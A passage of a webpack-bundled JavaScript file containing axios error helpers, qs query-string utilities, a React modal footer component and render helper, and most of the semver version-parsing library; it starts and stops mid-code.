/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))

/***/ }),
/* 82 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


var enhanceError = __webpack_require__(167);

/**
 * Create an Error with the specified message, config, error code, request and response.
 *
 * @param {string} message The error message.
 * @param {Object} config The config.
 * @param {string} [code] The error code (for example, 'ECONNABORTED').
 * @param {Object} [request] The request.
 * @param {Object} [response] The response.
 * @returns {Error} The created error.
 */
module.exports = function createError(message, config, code, request, response) {
  var error = new Error(message);
  return enhanceError(error, config, code, request, response);
};


/***/ }),
/* 83 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


module.exports = function isCancel(value) {
  return !!(value && value.__CANCEL__);
};


/***/ }),
/* 84 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


/**
 * A `Cancel` is an object that is thrown when an operation is canceled.
 *
 * @class
 * @param {string=} message The message.
 */
function Cancel(message) {
  this.message = message;
}

Cancel.prototype.toString = function toString() {
  return 'Cancel' + (this.message ? ': ' + this.message : '');
};

Cancel.prototype.__CANCEL__ = true;

module.exports = Cancel;


/***/ }),
/* 85 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


var has = Object.prototype.hasOwnProperty;

var hexTable = (function () {
    var array = [];
    for (var i = 0; i < 256; ++i) {
        array.push('%' + ((i < 16 ? '0' : '') + i.toString(16)).toUpperCase());
    }

    return array;
}());

var compactQueue = function compactQueue(queue) {
    var obj;

    while (queue.length) {
        var item = queue.pop();
        obj = item.obj[item.prop];

        if (Array.isArray(obj)) {
            var compacted = [];

            for (var j = 0; j < obj.length; ++j) {
                if (typeof obj[j] !== 'undefined') {
                    compacted.push(obj[j]);
                }
            }

            item.obj[item.prop] = compacted;
        }
    }

    return obj;
};

var arrayToObject = function arrayToObject(source, options) {
    var obj = options && options.plainObjects ? Object.create(null) : {};
    for (var i = 0; i < source.length; ++i) {
        if (typeof source[i] !== 'undefined') {
            obj[i] = source[i];
        }
    }

    return obj;
};

var merge = function merge(target, source, options) {
    if (!source) {
        return target;
    }

    if (typeof source !== 'object') {
        if (Array.isArray(target)) {
            target.push(source);
        } else if (typeof target === 'object') {
            if (options.plainObjects || options.allowPrototypes || !has.call(Object.prototype, source)) {
                target[source] = true;
            }
        } else {
            return [target, source];
        }

        return target;
    }

    if (typeof target !== 'object') {
        return [target].concat(source);
    }

    var mergeTarget = target;
    if (Array.isArray(target) && !Array.isArray(source)) {
        mergeTarget = arrayToObject(target, options);
    }

    if (Array.isArray(target) && Array.isArray(source)) {
        source.forEach(function (item, i) {
            if (has.call(target, i)) {
                if (target[i] && typeof target[i] === 'object') {
                    target[i] = merge(target[i], item, options);
                } else {
                    target.push(item);
                }
            } else {
                target[i] = item;
            }
        });
        return target;
    }

    return Object.keys(source).reduce(function (acc, key) {
        var value = source[key];

        if (has.call(acc, key)) {
            acc[key] = merge(acc[key], value, options);
        } else {
            acc[key] = value;
        }
        return acc;
    }, mergeTarget);
};

var assign = function assignSingleSource(target, source) {
    return Object.keys(source).reduce(function (acc, key) {
        acc[key] = source[key];
        return acc;
    }, target);
};

var decode = function (str) {
    try {
        return decodeURIComponent(str.replace(/\+/g, ' '));
    } catch (e) {
        return str;
    }
};

var encode = function encode(str) {
    // This code was originally written by Brian White (mscdex) for the io.js core querystring library.
    // It has been adapted here for stricter adherence to RFC 3986
    if (str.length === 0) {
        return str;
    }

    var string = typeof str === 'string' ? str : String(str);

    var out = '';
    for (var i = 0; i < string.length; ++i) {
        var c = string.charCodeAt(i);

        if (
            c === 0x2D // -
            || c === 0x2E // .
            || c === 0x5F // _
            || c === 0x7E // ~
            || (c >= 0x30 && c <= 0x39) // 0-9
            || (c >= 0x41 && c <= 0x5A) // a-z
            || (c >= 0x61 && c <= 0x7A) // A-Z
        ) {
            out += string.charAt(i);
            continue;
        }

        if (c < 0x80) {
            out = out + hexTable[c];
            continue;
        }

        if (c < 0x800) {
            out = out + (hexTable[0xC0 | (c >> 6)] + hexTable[0x80 | (c & 0x3F)]);
            continue;
        }

        if (c < 0xD800 || c >= 0xE000) {
            out = out + (hexTable[0xE0 | (c >> 12)] + hexTable[0x80 | ((c >> 6) & 0x3F)] + hexTable[0x80 | (c & 0x3F)]);
            continue;
        }

        i += 1;
        c = 0x10000 + (((c & 0x3FF) << 10) | (string.charCodeAt(i) & 0x3FF));
        out += hexTable[0xF0 | (c >> 18)]
            + hexTable[0x80 | ((c >> 12) & 0x3F)]
            + hexTable[0x80 | ((c >> 6) & 0x3F)]
            + hexTable[0x80 | (c & 0x3F)];
    }

    return out;
};

var compact = function compact(value) {
    var queue = [{ obj: { o: value }, prop: 'o' }];
    var refs = [];

    for (var i = 0; i < queue.length; ++i) {
        var item = queue[i];
        var obj = item.obj[item.prop];

        var keys = Object.keys(obj);
        for (var j = 0; j < keys.length; ++j) {
            var key = keys[j];
            var val = obj[key];
            if (typeof val === 'object' && val !== null && refs.indexOf(val) === -1) {
                queue.push({ obj: obj, prop: key });
                refs.push(val);
            }
        }
    }

    return compactQueue(queue);
};

var isRegExp = function isRegExp(obj) {
    return Object.prototype.toString.call(obj) === '[object RegExp]';
};

var isBuffer = function isBuffer(obj) {
    if (obj === null || typeof obj === 'undefined') {
        return false;
    }

    return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj));
};

module.exports = {
    arrayToObject: arrayToObject,
    assign: assign,
    compact: compact,
    decode: decode,
    encode: encode,
    isBuffer: isBuffer,
    isRegExp: isRegExp,
    merge: merge
};


/***/ }),
/* 86 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


var replace = String.prototype.replace;
var percentTwenties = /%20/g;

module.exports = {
    'default': 'RFC3986',
    formatters: {
        RFC1738: function (value) {
            return replace.call(value, percentTwenties, '+');
        },
        RFC3986: function (value) {
            return value;
        }
    },
    RFC1738: 'RFC1738',
    RFC3986: 'RFC3986'
};


/***/ }),
/* 87 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var ModalFooter = function (_Component) {
	_inherits(ModalFooter, _Component);

	function ModalFooter(props) {
		_classCallCheck(this, ModalFooter);

		return _possibleConstructorReturn(this, (ModalFooter.__proto__ || Object.getPrototypeOf(ModalFooter)).call(this, props));
	}

	_createClass(ModalFooter, [{
		key: 'render',
		value: function render() {
			var children = _react2.default.Children.map(this.props.children, function (footerChildren) {
				return footerChildren;
			});

			var alignment = !_.isUndefined(this.props.alignment) && '' !== this.props.alignment ? this.props.alignment : '';

			var flatten = !_.isUndefined(this.props.flatten) && true === this.props.flatten ? true : false;

			// eslint-disable-next-line max-len
			var hasClass = !_.isUndefined(this.props.customClass) && '' !== this.props.customClass ? true : false;

			var elClass = 'sui-box-footer';

			if (true === flatten) {
				elClass += ' sui-flatten';
			}

			if ('' !== alignment) {
				elClass += ' sui-content-' + alignment;
			}

			if (true === hasClass) {
				elClass += ' ' + this.props.customClass;
			}

			return _react2.default.createElement(
				'div',
				{ className: elClass },
				children
			);
		}
	}]);

	return ModalFooter;
}(_react.Component);

exports.default = ModalFooter;

/***/ }),
/* 88 */,
/* 89 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});
exports.renderBlock = renderBlock;

var _reactDom = __webpack_require__(23);

var _client = __webpack_require__(90);

var _semver = __webpack_require__(91);

var _semver2 = _interopRequireDefault(_semver);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

/**
 * render Block
 **/
function renderBlock(containerId, element) {
	var container = document.getElementById(containerId);

	// If container is hidden in PHP.
	if (_.isNull(container)) {
		return;
	}

	if (_semver2.default.gte(_reactDom.version, '18.0.0')) {
		// React 18 or higher.
		var root = (0, _client.createRoot)(container);
		root.render(element);
	} else {
		(0, _reactDom.render)(element, container);
	}
}

/***/ }),
/* 90 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";
/* WEBPACK VAR INJECTION */(function(process) {

var m = __webpack_require__(23);
if (process.env.NODE_ENV === 'production') {
  exports.createRoot = m.createRoot;
  exports.hydrateRoot = m.hydrateRoot;
} else {
  var i = m.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;
  exports.createRoot = function(c, o) {
    i.usingClientEntryPoint = true;
    try {
      return m.createRoot(c, o);
    } finally {
      i.usingClientEntryPoint = false;
    }
  };
  exports.hydrateRoot = function(c, h, o) {
    i.usingClientEntryPoint = true;
    try {
      return m.hydrateRoot(c, h, o);
    } finally {
      i.usingClientEntryPoint = false;
    }
  };
}

/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))

/***/ }),
/* 91 */
/***/ (function(module, exports, __webpack_require__) {

/* WEBPACK VAR INJECTION */(function(process) {exports = module.exports = SemVer;

// The debug function is excluded entirely from the minified version.
/* nomin */ var debug;
/* nomin */ if (typeof process === 'object' &&
    /* nomin */ process.env &&
    /* nomin */ process.env.NODE_DEBUG &&
    /* nomin */ /\bsemver\b/i.test(process.env.NODE_DEBUG))
  /* nomin */ debug = function() {
    /* nomin */ var args = Array.prototype.slice.call(arguments, 0);
    /* nomin */ args.unshift('SEMVER');
    /* nomin */ console.log.apply(console, args);
    /* nomin */ };
/* nomin */ else
  /* nomin */ debug = function() {};

// Note: this is the semver.org version of the spec that it implements
// Not necessarily the package version of this code.
exports.SEMVER_SPEC_VERSION = '2.0.0';

var MAX_LENGTH = 256;
var MAX_SAFE_INTEGER = Number.MAX_SAFE_INTEGER || 9007199254740991;

// Max safe segment length for coercion.
var MAX_SAFE_COMPONENT_LENGTH = 16;

// The actual regexps go on exports.re
var re = exports.re = [];
var src = exports.src = [];
var R = 0;

// The following Regular Expressions can be used for tokenizing,
// validating, and parsing SemVer version strings.

// ## Numeric Identifier
// A single `0`, or a non-zero digit followed by zero or more digits.

var NUMERICIDENTIFIER = R++;
src[NUMERICIDENTIFIER] = '0|[1-9]\\d*';
var NUMERICIDENTIFIERLOOSE = R++;
src[NUMERICIDENTIFIERLOOSE] = '[0-9]+';


// ## Non-numeric Identifier
// Zero or more digits, followed by a letter or hyphen, and then zero or
// more letters, digits, or hyphens.

var NONNUMERICIDENTIFIER = R++;
src[NONNUMERICIDENTIFIER] = '\\d*[a-zA-Z-][a-zA-Z0-9-]*';


// ## Main Version
// Three dot-separated numeric identifiers.

var MAINVERSION = R++;
src[MAINVERSION] = '(' + src[NUMERICIDENTIFIER] + ')\\.' +
                   '(' + src[NUMERICIDENTIFIER] + ')\\.' +
                   '(' + src[NUMERICIDENTIFIER] + ')';

var MAINVERSIONLOOSE = R++;
src[MAINVERSIONLOOSE] = '(' + src[NUMERICIDENTIFIERLOOSE] + ')\\.' +
                        '(' + src[NUMERICIDENTIFIERLOOSE] + ')\\.' +
                        '(' + src[NUMERICIDENTIFIERLOOSE] + ')';

// ## Pre-release Version Identifier
// A numeric identifier, or a non-numeric identifier.

var PRERELEASEIDENTIFIER = R++;
src[PRERELEASEIDENTIFIER] = '(?:' + src[NUMERICIDENTIFIER] +
                            '|' + src[NONNUMERICIDENTIFIER] + ')';

var PRERELEASEIDENTIFIERLOOSE = R++;
src[PRERELEASEIDENTIFIERLOOSE] = '(?:' + src[NUMERICIDENTIFIERLOOSE] +
                                 '|' + src[NONNUMERICIDENTIFIER] + ')';


// ## Pre-release Version
// Hyphen, followed by one or more dot-separated pre-release version
// identifiers.

var PRERELEASE = R++;
src[PRERELEASE] = '(?:-(' + src[PRERELEASEIDENTIFIER] +
                  '(?:\\.' + src[PRERELEASEIDENTIFIER] + ')*))';

var PRERELEASELOOSE = R++;
src[PRERELEASELOOSE] = '(?:-?(' + src[PRERELEASEIDENTIFIERLOOSE] +
                       '(?:\\.' + src[PRERELEASEIDENTIFIERLOOSE] + ')*))';

// ## Build Metadata Identifier
// Any combination of digits, letters, or hyphens.

var BUILDIDENTIFIER = R++;
src[BUILDIDENTIFIER] = '[0-9A-Za-z-]+';

// ## Build Metadata
// Plus sign, followed by one or more period-separated build metadata
// identifiers.

var BUILD = R++;
src[BUILD] = '(?:\\+(' + src[BUILDIDENTIFIER] +
             '(?:\\.' + src[BUILDIDENTIFIER] + ')*))';


// ## Full Version String
// A main version, followed optionally by a pre-release version and
// build metadata.

// Note that the only major, minor, patch, and pre-release sections of
// the version string are capturing groups.  The build metadata is not a
// capturing group, because it should not ever be used in version
// comparison.

var FULL = R++;
var FULLPLAIN = 'v?' + src[MAINVERSION] +
                src[PRERELEASE] + '?' +
                src[BUILD] + '?';

src[FULL] = '^' + FULLPLAIN + '$';

// like full, but allows v1.2.3 and =1.2.3, which people do sometimes.
// also, 1.0.0alpha1 (prerelease without the hyphen) which is pretty
// common in the npm registry.
var LOOSEPLAIN = '[v=\\s]*' + src[MAINVERSIONLOOSE] +
                 src[PRERELEASELOOSE] + '?' +
                 src[BUILD] + '?';

var LOOSE = R++;
src[LOOSE] = '^' + LOOSEPLAIN + '$';

var GTLT = R++;
src[GTLT] = '((?:<|>)?=?)';

// Something like "2.*" or "1.2.x".
// Note that "x.x" is a valid xRange identifer, meaning "any version"
// Only the first item is strictly required.
var XRANGEIDENTIFIERLOOSE = R++;
src[XRANGEIDENTIFIERLOOSE] = src[NUMERICIDENTIFIERLOOSE] + '|x|X|\\*';
var XRANGEIDENTIFIER = R++;
src[XRANGEIDENTIFIER] = src[NUMERICIDENTIFIER] + '|x|X|\\*';

var XRANGEPLAIN = R++;
src[XRANGEPLAIN] = '[v=\\s]*(' + src[XRANGEIDENTIFIER] + ')' +
                   '(?:\\.(' + src[XRANGEIDENTIFIER] + ')' +
                   '(?:\\.(' + src[XRANGEIDENTIFIER] + ')' +
                   '(?:' + src[PRERELEASE] + ')?' +
                   src[BUILD] + '?' +
                   ')?)?';

var XRANGEPLAINLOOSE = R++;
src[XRANGEPLAINLOOSE] = '[v=\\s]*(' + src[XRANGEIDENTIFIERLOOSE] + ')' +
                        '(?:\\.(' + src[XRANGEIDENTIFIERLOOSE] + ')' +
                        '(?:\\.(' + src[XRANGEIDENTIFIERLOOSE] + ')' +
                        '(?:' + src[PRERELEASELOOSE] + ')?' +
                        src[BUILD] + '?' +
                        ')?)?';

var XRANGE = R++;
src[XRANGE] = '^' + src[GTLT] + '\\s*' + src[XRANGEPLAIN] + '$';
var XRANGELOOSE = R++;
src[XRANGELOOSE] = '^' + src[GTLT] + '\\s*' + src[XRANGEPLAINLOOSE] + '$';

// Coercion.
// Extract anything that could conceivably be a part of a valid semver
var COERCE = R++;
src[COERCE] = '(?:^|[^\\d])' +
              '(\\d{1,' + MAX_SAFE_COMPONENT_LENGTH + '})' +
              '(?:\\.(\\d{1,' + MAX_SAFE_COMPONENT_LENGTH + '}))?' +
              '(?:\\.(\\d{1,' + MAX_SAFE_COMPONENT_LENGTH + '}))?' +
              '(?:$|[^\\d])';

// Tilde ranges.
// Meaning is "reasonably at or greater than"
var LONETILDE = R++;
src[LONETILDE] = '(?:~>?)';

var TILDETRIM = R++;
src[TILDETRIM] = '(\\s*)' + src[LONETILDE] + '\\s+';
re[TILDETRIM] = new RegExp(src[TILDETRIM], 'g');
var tildeTrimReplace = '$1~';

var TILDE = R++;
src[TILDE] = '^' + src[LONETILDE] + src[XRANGEPLAIN] + '$';
var TILDELOOSE = R++;
src[TILDELOOSE] = '^' + src[LONETILDE] + src[XRANGEPLAINLOOSE] + '$';

// Caret ranges.
// Meaning is "at least and backwards compatible with"
var LONECARET = R++;
src[LONECARET] = '(?:\\^)';

var CARETTRIM = R++;
src[CARETTRIM] = '(\\s*)' + src[LONECARET] + '\\s+';
re[CARETTRIM] = new RegExp(src[CARETTRIM], 'g');
var caretTrimReplace = '$1^';

var CARET = R++;
src[CARET] = '^' + src[LONECARET] + src[XRANGEPLAIN] + '$';
var CARETLOOSE = R++;
src[CARETLOOSE] = '^' + src[LONECARET] + src[XRANGEPLAINLOOSE] + '$';

// A simple gt/lt/eq thing, or just "" to indicate "any version"
var COMPARATORLOOSE = R++;
src[COMPARATORLOOSE] = '^' + src[GTLT] + '\\s*(' + LOOSEPLAIN + ')$|^$';
var COMPARATOR = R++;
src[COMPARATOR] = '^' + src[GTLT] + '\\s*(' + FULLPLAIN + ')$|^$';


// An expression to strip any whitespace between the gtlt and the thing
// it modifies, so that `> 1.2.3` ==> `>1.2.3`
var COMPARATORTRIM = R++;
src[COMPARATORTRIM] = '(\\s*)' + src[GTLT] +
                      '\\s*(' + LOOSEPLAIN + '|' + src[XRANGEPLAIN] + ')';

// this one has to use the /g flag
re[COMPARATORTRIM] = new RegExp(src[COMPARATORTRIM], 'g');
var comparatorTrimReplace = '$1$2$3';


// Something like `1.2.3 - 1.2.4`
// Note that these all use the loose form, because they'll be
// checked against either the strict or loose comparator form
// later.
var HYPHENRANGE = R++;
src[HYPHENRANGE] = '^\\s*(' + src[XRANGEPLAIN] + ')' +
                   '\\s+-\\s+' +
                   '(' + src[XRANGEPLAIN] + ')' +
                   '\\s*$';

var HYPHENRANGELOOSE = R++;
src[HYPHENRANGELOOSE] = '^\\s*(' + src[XRANGEPLAINLOOSE] + ')' +
                        '\\s+-\\s+' +
                        '(' + src[XRANGEPLAINLOOSE] + ')' +
                        '\\s*$';

// Star ranges basically just allow anything at all.
var STAR = R++;
src[STAR] = '(<|>)?=?\\s*\\*';

// Compile to actual regexp objects.
// All are flag-free, unless they were created above with a flag.
for (var i = 0; i < R; i++) {
  debug(i, src[i]);
  if (!re[i])
    re[i] = new RegExp(src[i]);
}

exports.parse = parse;
function parse(version, loose) {
  if (version instanceof SemVer)
    return version;

  if (typeof version !== 'string')
    return null;

  if (version.length > MAX_LENGTH)
    return null;

  var r = loose ? re[LOOSE] : re[FULL];
  if (!r.test(version))
    return null;

  try {
    return new SemVer(version, loose);
  } catch (er) {
    return null;
  }
}

exports.valid = valid;
function valid(version, loose) {
  var v = parse(version, loose);
  return v ? v.version : null;
}


exports.clean = clean;
function clean(version, loose) {
  var s = parse(version.trim().replace(/^[=v]+/, ''), loose);
  return s ? s.version : null;
}

exports.SemVer = SemVer;

function SemVer(version, loose) {
  if (version instanceof SemVer) {
    if (version.loose === loose)
      return version;
    else
      version = version.version;
  } else if (typeof version !== 'string') {
    throw new TypeError('Invalid Version: ' + version);
  }

  if (version.length > MAX_LENGTH)
    throw new TypeError('version is longer than ' + MAX_LENGTH + ' characters')

  if (!(this instanceof SemVer))
    return new SemVer(version, loose);

  debug('SemVer', version, loose);
  this.loose = loose;
  var m = version.trim().match(loose ? re[LOOSE] : re[FULL]);

  if (!m)
    throw new TypeError('Invalid Version: ' + version);

  this.raw = version;

  // these are actually numbers
  this.major = +m[1];
  this.minor = +m[2];
  this.patch = +m[3];

  if (this.major > MAX_SAFE_INTEGER || this.major < 0)
    throw new TypeError('Invalid major version')

  if (this.minor > MAX_SAFE_INTEGER || this.minor < 0)
    throw new TypeError('Invalid minor version')

  if (this.patch > MAX_SAFE_INTEGER || this.patch < 0)
    throw new TypeError('Invalid patch version')

  // numberify any prerelease numeric ids
  if (!m[4])
    this.prerelease = [];
  else
    this.prerelease = m[4].split('.').map(function(id) {
      if (/^[0-9]+$/.test(id)) {
        var num = +id;
        if (num >= 0 && num < MAX_SAFE_INTEGER)
          return num;
      }
      return id;
    });

  this.build = m[5] ? m[5].split('.') : [];
  this.format();
}

SemVer.prototype.format = function() {
  this.version = this.major + '.' + this.minor + '.' + this.patch;
  if (this.prerelease.length)
    this.version += '-' + this.prerelease.join('.');
  return this.version;
};

SemVer.prototype.toString = function() {
  return this.version;
};

SemVer.prototype.compare = function(other) {
  debug('SemVer.compare', this.version, this.loose, other);
  if (!(other instanceof SemVer))
    other = new SemVer(other, this.loose);

  return this.compareMain(other) || this.comparePre(other);
};

SemVer.prototype.compareMain = function(other) {
  if (!(other instanceof SemVer))
    other = new SemVer(other, this.loose);

  return compareIdentifiers(this.major, other.major) ||
         compareIdentifiers(this.minor, other.minor) ||
         compareIdentifiers(this.patch, other.patch);
};

SemVer.prototype.comparePre = function(other) {
  if (!(other instanceof SemVer))
    other = new SemVer(other, this.loose);

  // NOT having a prerelease is > having one
  if (this.prerelease.length && !other.prerelease.length)
    return -1;
  else if (!this.prerelease.length && other.prerelease.length)
    return 1;
  else if (!this.prerelease.length && !other.prerelease.length)
    return 0;

  var i = 0;
  do {
    var a = this.prerelease[i];
    var b = other.prerelease[i];
    debug('prerelease compare', i, a, b);
    if (a === undefined && b === undefined)
      return 0;
    else if (b === undefined)
      return 1;
    else if (a === undefined)
      return -1;
    else if (a === b)
      continue;
    else
      return compareIdentifiers(a, b);
  } while (++i);
};

// preminor will bump the version up to the next minor release, and immediately
// down to pre-release. premajor and prepatch work the same way.
SemVer.prototype.inc = function(release, identifier) {
  switch (release) {
    case 'premajor':
      this.prerelease.length = 0;
      this.patch = 0;
      this.minor = 0;
      this.major++;
      this.inc('pre', identifier);
      break;
    case 'preminor':
      this.prerelease.length = 0;
      this.patch = 0;
      this.minor++;
      this.inc('pre', identifier);
      break;
    case 'prepatch':
      // If this is already a prerelease, it will bump to the next version
      // drop any prereleases that might already exist, since they are not
      // relevant at this point.
      this.prerelease.length = 0;
      this.inc('patch', identifier);
      this.inc('pre', identifier);
      break;
    // If the input is a non-prerelease version, this acts the same as
    // prepatch.
    case 'prerelease':
      if (this.prerelease.length === 0)
        this.inc('patch', identifier);
      this.inc('pre', identifier);
      break;

    case 'major':
      // If this is a pre-major version, bump up to the same major version.
      // Otherwise increment major.
      // 1.0.0-5 bumps to 1.0.0
      // 1.1.0 bumps to 2.0.0
      if (this.minor !== 0 || this.patch !== 0 || this.prerelease.length === 0)
        this.major++;
      this.minor = 0;
      this.patch = 0;
      this.prerelease = [];
      break;
    case 'minor':
      // If this is a pre-minor version, bump up to the same minor version.
      // Otherwise increment minor.
      // 1.2.0-5 bumps to 1.2.0
      // 1.2.1 bumps to 1.3.0
      if (this.patch !== 0 || this.prerelease.length === 0)
        this.minor++;
      this.patch = 0;
      this.prerelease = [];
      break;
    case 'patch':
      // If this is not a pre-release version, it will increment the patch.
      // If it is a pre-release it will bump up to the same patch version.
      // 1.2.0-5 patches to 1.2.0
      // 1.2.0 patches to 1.2.1
      if (this.prerelease.length === 0)
        this.patch++;
      this.prerelease = [];
      break;
    // This probably shouldn't be used publicly.
    // 1.0.0 "pre" would become 1.0.0-0 which is the wrong direction.
    case 'pre':
      if (this.prerelease.length === 0)
        this.prerelease = [0];
      else {
        var i = this.prerelease.length;
        while (--i >= 0) {
          if (typeof this.prerelease[i] === 'number') {
            this.prerelease[i]++;
            i = -2;
          }
        }
        if (i === -1) // didn't increment anything
          this.prerelease.push(0);
      }
      if (identifier) {
        // 1.2.0-beta.1 bumps to 1.2.0-beta.2,
        // 1.2.0-beta.fooblz or 1.2.0-beta bumps to 1.2.0-beta.0
        if (this.prerelease[0] === identifier) {
          if (isNaN(this.prerelease[1]))
            this.prerelease = [identifier, 0];
        } else
          this.prerelease = [identifier, 0];
      }
      break;

    default:
      throw new Error('invalid increment argument: ' + release);
  }
  this.format();
  this.raw = this.version;
  return this;
};

exports.inc = inc;
function inc(version, release, loose, identifier) {
  if (typeof(loose) === 'string') {
    identifier = loose;
    loose = undefined;
  }

  try {
    return new SemVer(version, loose).inc(release, identifier).version;
  } catch (er) {
    return null;
  }
}

exports.diff = diff;
function diff(version1, version2) {
  if (eq(version1, version2)) {
    return null;
  } else {
    var v1 = parse(version1);
    var v2 = parse(version2);
    if (v1.prerelease.length || v2.prerelease.length) {
      for (var key in v1) {
        if (key === 'major' || key === 'minor' || key === 'patch') {
          if (v1[key] !== v2[key]) {
            return 'pre'+key;
          }
        }
      }
      return 'prerelease';
    }
    for (var key in v1) {
      if (key === 'major' || key === 'minor' || key === 'patch') {
        if (v1[key] !== v2[key]) {
          return key;
        }
      }
    }
  }
}

exports.compareIdentifiers = compareIdentifiers;

var numeric = /^[0-9]+$/;
function compareIdentifiers(a, b) {
  var anum = numeric.test(a);
  var bnum = numeric.test(b);

  if (anum && bnum) {
    a = +a;
    b = +b;
  }

  return (anum && !bnum) ? -1 :
         (bnum && !anum) ? 1 :
         a < b ? -1 :
         a > b ? 1 :
         0;
}

exports.rcompareIdentifiers = rcompareIdentifiers;
function rcompareIdentifiers(a, b) {
  return compareIdentifiers(b, a);
}

exports.major = major;
function major(a, loose) {
  return new SemVer(a, loose).major;
}

exports.minor = minor;
function minor(a, loose) {
  return new SemVer(a, loose).minor;
}

exports.patch = patch;
function patch(a, loose) {
  return new SemVer(a, loose).patch;
}

exports.compare = compare;
function compare(a, b, loose) {
  return new SemVer(a, loose).compare(new SemVer(b, loose));
}

exports.compareLoose = compareLoose;
function compareLoose(a, b) {
  return compare(a, b, true);
}

exports.rcompare = rcompare;
function rcompare(a, b, loose) {
  return compare(b, a, loose);
}

exports.sort = sort;
function sort(list, loose) {
  return list.sort(function(a, b) {
    return exports.compare(a, b, loose);
  });
}

exports.rsort = rsort;
function rsort(list, loose) {
  return list.sort(function(a, b) {
    return exports.rcompare(a, b, loose);
  });
}

exports.gt = gt;
function gt(a, b, loose) {
  return compare(a, b, loose) > 0;
}

exports.lt = lt;
function lt(a, b, loose) {
  return compare(a, b, loose) < 0;
}

exports.eq = eq;
function eq(a, b, loose) {
  return compare(a, b, loose) === 0;
}

exports.neq = neq;
function neq(a, b, loose) {
  return compare(a, b, loose) !== 0;
}

exports.gte = gte;
function gte(a, b, loose) {
  return compare(a, b, loose) >= 0;
}

exports.lte = lte;
function lte(a, b, loose) {
  return compare(a, b, loose) <= 0;
}

exports.cmp = cmp;
function cmp(a, op, b, loose) {
  var ret;
  switch (op) {
    case '===':
      if (typeof a === 'object') a = a.version;
      if (typeof b === 'object') b = b.version;
      ret = a === b;
      break;
    case '!==':
      if (typeof a === 'object') a = a.version;
      if (typeof b === 'object') b = b.version;
      ret = a !== b;
      break;
    case '': case '=': case '==': ret = eq(a, b, loose); break;
    case '!=': ret = neq(a, b, loose); break;
    case '>': ret = gt(a, b, loose); break;
    case '>=': ret = gte(a, b, loose); break;
    case '<': ret = lt(a, b, loose); break;
    case '<=': ret = lte(a, b, loose); break;
    default: throw new TypeError('Invalid operator: ' + op);
  }
  return ret;
}

exports.Comparator = Comparator;
function Comparator(comp, loose) {
  if (comp instanceof Comparator) {
    if (comp.loose === loose)
      return comp;
    else
      comp = comp.value;
  }

  if (!(this instanceof Comparator))
    return new Comparator(comp, loose);

  debug('comparator', comp, loose);
  this.loose = loose;
  this.parse(comp);

  if (this.semver === ANY)
    this.value = '';
  else
    this.value = this.operator + this.semver.version;

  debug('comp', this);
}

var ANY = {};
Comparator.prototype.parse = function(comp) {
  var r = this.loose ? re[COMPARATORLOOSE] : re[COMPARATOR];
  var m = comp.match(r);

  if (!m)
    throw new TypeError('Invalid comparator: ' + comp);

  this.operator = m[1];
  if (this.operator === '=')
    this.operator = '';

  // if it literally is just '>' or '' then allow anything.
  if (!m[2])
    this.semver = ANY;
  else
    this.semver = new SemVer(m[2], this.loose);
};

Comparator.prototype.toString = function() {
  return this.value;
};

Comparator.prototype.test = function(version) {
  debug('Comparator.test', version, this.loose);

  if (this.semver === ANY)
    return true;

  if (typeof version === 'string')
    version = new SemVer(version, this.loose);

  return cmp(version, this.operator, this.semver, this.loose);
};

Comparator.prototype.intersects = function(comp, loose) {
  if (!(comp instanceof Comparator)) {
    throw new TypeError('a Comparator is required');
  }

  var rangeTmp;

  if (this.operator === '') {
    rangeTmp = new Range(comp.value, loose);
    return satisfies(this.value, rangeTmp, loose);
  } else if (comp.operator === '') {
    rangeTmp = new Range(this.value, loose);
    return satisfies(comp.semver, rangeTmp, loose);
  }

  var sameDirectionIncreasing =
    (this.operator === '>=' || this.operator === '>') &&
    (comp.operator === '>=' || comp.operator === '>');
  var sameDirectionDecreasing =
    (this.operator === '<=' || this.operator === '<') &&
    (comp.operator === '<=' || comp.operator === '<');
  var sameSemVer = this.semver.version === comp.semver.version;
  var differentDirectionsInclusive =
    (this.operator === '>=' || this.operator === '<=') &&
    (comp.operator === '>=' || comp.operator === '<=');
  var oppositeDirectionsLessThan =
    cmp(this.semver, '<', comp.semver, loose) &&
    ((this.operator === '>=' || this.operator === '>') &&
    (comp.operator === '<=' || comp.operator === '<'));
  var oppositeDirectionsGreaterThan =
    cmp(this.semver, '>', comp.semver, loose) &&
    ((this.operator === '<=' || this.operator === '<') &&
    (comp.operator === '>=' || comp.operator === '>'));

  return sameDirectionIncreasing || sameDirectionDecreasing ||
    (sameSemVer && differentDirectionsInclusive) ||
